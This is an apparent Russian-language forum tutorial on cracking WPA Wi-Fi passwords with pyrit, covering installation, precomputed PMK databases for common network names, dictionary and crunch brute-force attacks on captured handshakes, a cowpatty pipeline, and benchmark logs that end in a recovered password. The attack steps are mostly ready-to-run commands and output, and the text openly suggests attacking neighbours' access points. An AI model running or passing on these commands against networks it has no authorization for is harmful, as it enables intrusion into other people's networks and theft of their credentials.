Ломать будем с помощью pyrit
1. Зависимости:
apt-get install g++ python-dev openssl zlib1g-dev libssl-dev python-scapy libpcap0.8 libpcap0.8-dev libpcap-dev
2. Исходник:
svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit-read-only
3. Ставим:
cd pyrit_svn/ cd pyrit/ python setup.py build install cd cpyrit_opencl/ python setup.py build install
4. Проверяем правильность установки:
pyrit selftest
Смотрим доступные ядра процессора/видеокарт:
pyrit list_cores
Запускаем оценочный тест:
pyrit benchmark
5. Пример использования:
pyrit -i /путь/до/файла/с/паролями/пароли.тхт import_passwords pyrit -r cap-01.cap analyze pyrit -r cap-01.cap -b 00:11:22:33:44:55 attack_batch либо pyrit -r cap-01.cap attack_batch
Вариант 2 — хранение базы в любой указанной папке пользователя. Это более основательный подход к делу. Позволяет создать базу для конкретных essid'ов и конкретным числом паролей, т.е. берется файл с 100 миллионами паролей, после чего к нему добавляются любые essid'ы с уникальными именами. После чего база компилируется и привязывается к конкретным essid'ам которые вы в нее залили. После компиляции скорость увеличивается в 5-7 раз. Отличный вариант скажете вы, и будете правы, но ложка дектя конечно же есть smile.gif подвох заключен во времени компиляции, которые естественно зависит от кол-ва паролей и essid'ов и составляет продолжительное время.
Плюсы:
Допустим 1 база на 10 уникальных essid'ов может использоваться для любых точек доступа при условии что имя точки совпадает с тем, что находится в базе. Т.е. если у двух ваших соседей имя точки доступа dlink, но естественно разные mac-адреса, это НЕ помешает вам перебирать их по своей базе без необходится создания новой базы.
Скорость
Огромная скорость
Сделал 1 базу на самые часто встречающиеся essid'ы и чекай их за минимальное время в любых!!! количествах.
Минусы:
Время компилирования
Занимает много места на жестком диске.
Вывод — сухие факты про мою базу: 850 миллионов слов, 24 essid'а, 32 часа компилирования, 650.000 pmk/s перебор по базе, вес 240 gb.
Естественно при меньшем кол-ве паролей и essid'ов затраты по времени уменьшаются прямопропорционально. Стоит это того или нет, каждый решает сам.
Пример использования:
pyrit -u file:///путь/до/файла/где/будет/база.db -i /путь/до/файла/с/паролями/пароли.тхт import_passwords pyrit -u file:///путь/до/файла/где/будет/база.db -e linksys create_essid pyrit -u file:///путь/до/файла/где/будет/база.db eval pyrit -u file:///путь/до/файла/где/будет/база.db batch pyrit -u file:///путь/до/файла/где/будет/база.db eval pyrit -u file:///путь/до/файла/где/будет/база.db -r /путь/до/файла/с/cap/output-01.cap attack_db
3. Ломаем по словарю на лету. Режим attack_passthrough. Самый быстрый. Без базы.
pyrit -e ESSID -i password.lst -r capture.cap attack_passthrough
-e ESSID - имя точки доступа
-i password.lst файл паролей
-r capture.cap - файл с хендшейком.
attack_passthrough - режим атаки
4. Атака с генератором паролей crunch
crunch 10 12 1234567890 | pyrit -e ESSID -i - -r capture.cap attack_passthrough
5. Атака с cowpatty
Ставим cowpatty:
wget http://wirelessdefence.org/Contents/Files/cowpatty-4.6.tgz tar -xvf cowpatty-4.6.tgz cd cowpatty-4.6/ make && make install
/pentest/passwords/crunch/crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZ | pyrit -e BTHub3 -i - -o - passthrough | cowpatty -d - -r wpafile.cap -s BTHub3
Реальный тест производительности pyrit
Атака генератором паролей crunch
root@bamt-miner:~# time /pentest/passwords/crunch/crunch 10 10 1234567890 | pyrit -i - -r /mnt/data/capfiles/test-14.cap attack_passthrough Crunch will now generate the following amount of data: 110000000000 bytes 104904 MB 102 GB 0 TB 0 PB Crunch will now generate the following number of lines: 10000000000 Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file '/mnt/data/capfiles/test-14.cap' (1/1)... Parsed 11 packets (11 802.11-packets), got 1 AP(s) Picked AccessPoint 48:5b:39:38:57:cc ('default') automatically. Tried 123486174 PMKs so far; 88913 PMKs per second. The password is '1234567890'. real 23m36.646s user 26m19.795s sys 0m59.752s
Атака по словарю:
root@bamt-miner:~/cowpatty-4.6# time pyrit -i /mnt/data/pyrit/dict_fullsorted_8.2G/fullsorted.dic -r /mnt/data/capfiles/test-14.cap attack_passthrough Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file '/mnt/data/capfiles/test-14.cap' (1/1)... Parsed 11 packets (11 802.11-packets), got 1 AP(s) Picked AccessPoint 48:5b:39:38:57:cc ('default') automatically. Tried 112425621 PMKs so far; 88146 PMKs per second. The password is '1234567890'. real 21m7.570s user 22m30.768s sys 0m57.260s
Discussion